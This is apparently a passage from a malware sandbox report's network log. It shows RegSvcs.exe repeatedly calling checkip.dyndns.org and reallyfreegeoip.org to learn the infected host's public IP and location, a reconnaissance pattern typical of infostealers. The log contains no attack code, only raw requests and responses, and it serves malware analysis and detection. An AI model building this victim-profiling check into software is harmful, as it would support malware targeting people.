Jan 3, 2025 09:49:01.405169010 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 08:49:01 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49707	132.226.247.73	80	6504	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 09:49:02.008567095 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 3, 2025 09:49:02.689888954 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 08:49:02 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49709	132.226.247.73	80	6504	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 09:49:03.336138010 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 3, 2025 09:49:04.042382956 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 08:49:03 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49711	132.226.247.73	80	6504	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 09:49:04.638973951 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 3, 2025 09:49:05.329762936 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 08:49:05 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49713	132.226.247.73	80	6504	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 09:49:05.976403952 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 3, 2025 09:49:06.679708958 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 08:49:06 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49715	132.226.247.73	80	6504	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 09:49:07.298449039 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 3, 2025 09:49:07.991692066 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 08:49:07 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49717	132.226.247.73	80	6504	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 09:49:08.687083960 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 3, 2025 09:49:09.378616095 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 08:49:09 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49719	132.226.247.73	80	6504	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 09:49:10.012919903 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 3, 2025 09:49:10.682611942 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 08:49:10 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	188.114.97.3	443	6504	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 08:49:01 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-03 08:49:01 UTC	855	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 08:49:01 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1208930 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mDjzTaQ3JQMluFcl4980%2F8CO9NJB2c543pHGKk3f9WX0Ao6KUk8X87gwe2aBfAIGYegzKwPabq8TRTzO5McAwO8IXfxul3NJUvI2fNjQdfvmDp0LJm8x1PG0HbD%2B0%2FWJj7IPcpLY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc1bbae091518c8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1451&min_rtt=1439&rtt_var=564&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1899804&cwnd=148&unsent_bytes=0&cid=c59edc80b6d27e15&ts=196&x=0"
2025-01-03 08:49:01 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	188.114.97.3	443	6504	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 08:49:01 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-03 08:49:01 UTC	857	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 08:49:01 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1208931 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kRO7i%2Fj1Q4XE7CCOEruLZgcRiSnlayVj%2Fs9pEkojH0Vk9V1Lw24C6ZuPiT1CwAL1%2BUWtN%2BHCG8tN5H83XhETRnH35EIjzUhtQQSqJTeB0crlh8oraWH0FEKiiN2DA5MkY6b6maJ1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc1bbb319d54380-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1613&min_rtt=1608&rtt_var=613&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1771844&cwnd=223&unsent_bytes=0&cid=2634ac3310e75f9d&ts=136&x=0"
2025-01-03 08:49:01 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49708	188.114.97.3	443	6504	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 08:49:03 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-03 08:49:03 UTC	863	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 08:49:03 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1208932 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cNA6wZj6%2Br%2BNEA1v52gpYJTWHvxIduC6l%2Bcjh9rbPvUUnt8yH5TzqUg%2F%2F%2BPNtRcuMzbXVtntCUnU99RAgmx8OScE%2FRCzoFhbLerj5b8g14k7BDbmuWPoZfqdpSxvjPIVroSQiFy1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc1bbbb5e227c78-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1781&min_rtt=1774&rtt_var=679&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1594756&cwnd=252&unsent_bytes=0&cid=f7d1c73907e0cdfa&ts=159&x=0"
2025-01-03 08:49:03 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49710	188.114.97.3	443	6504	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 08:49:04 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-03 08:49:04 UTC	863	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 08:49:04 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1208933 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fEC1Cs00iQPtRa0VWZvBjyYx%2B%2B%2B4GbQvwwvix2%2FX0OtBwvFXzoWidQqgH5O7ZwMpy5de1A2niJXv2QpS%2BOd01TuoD9%2FkmKwI8eOhrfD3VMgyLrsAzSVX9njHCe8%2BJGJn6OKEi5t7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc1bbc39d0df5f6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1581&min_rtt=1558&rtt_var=631&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1672394&cwnd=183&unsent_bytes=0&cid=953c6e8999885ed0&ts=131&x=0"
2025-01-03 08:49:04 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49712	188.114.97.3	443	6504	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 08:49:05 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-03 08:49:05 UTC	853	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 08:49:05 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1208935 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nyQ1u4RpW8mlIhTBFOkMLImSg2Qd2Ugw9MUIG9lX6YPYRML0f6NpWHiEHFJ3fmiSFextAbDGYYbtXEy6p3uKa7Sg%2FEcKubCBBeleMYC2O6SqppBbMHNCpXWqSnEaXu%2FZNynqEWkG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc1bbcbcfecc47c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1470&min_rtt=1466&rtt_var=559&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1940199&cwnd=210&unsent_bytes=0&cid=5781d2f59eb75d33&ts=147&x=0"
2025-01-03 08:49:05 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49714	188.114.97.3	443	6504	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 08:49:07 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-03 08:49:07 UTC	851	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 08:49:07 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1208936 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7w3H2yrRbd3Yr7EAhXGCbwuu3if8DCwA84QXt7l225D3mk80Yzn6Dt8%2FSbVbuAicNt5HvfzE7PDmkyUbEBspFWx4kau0cg3aZqsnNK4Rmn7YcmNEdc6uW8oSRQ2WFPQjfQP2xPXY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc1bbd429c5c335-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2105&min_rtt=1650&rtt_var=1530&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=551255&cwnd=165&unsent_bytes=0&cid=79be6a08c74eefea&ts=155&x=0"
2025-01-03 08:49:07 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49716	188.114.97.3	443	6504	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 08:49:08 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-03 08:49:08 UTC	859	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 08:49:08 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1208937 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=te21Q%2FB1PRpA7O7ovdsAKnOAQRKTMKxwbfQ%2FO7RyIyBlJVj%2B5oMafMEl8zFO9htqipfxqlcjL%2F7BW30qj1kDfwihHiBPf250oeiWD4hv0jQTMIsEMIvopHKMYw0BPVEeGnRY1%2FMt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc1bbdc5c29436f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1573&min_rtt=1569&rtt_var=596&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1823860&cwnd=182&unsent_bytes=0&cid=b8aa97ab71ee4f17&ts=147&x=0"
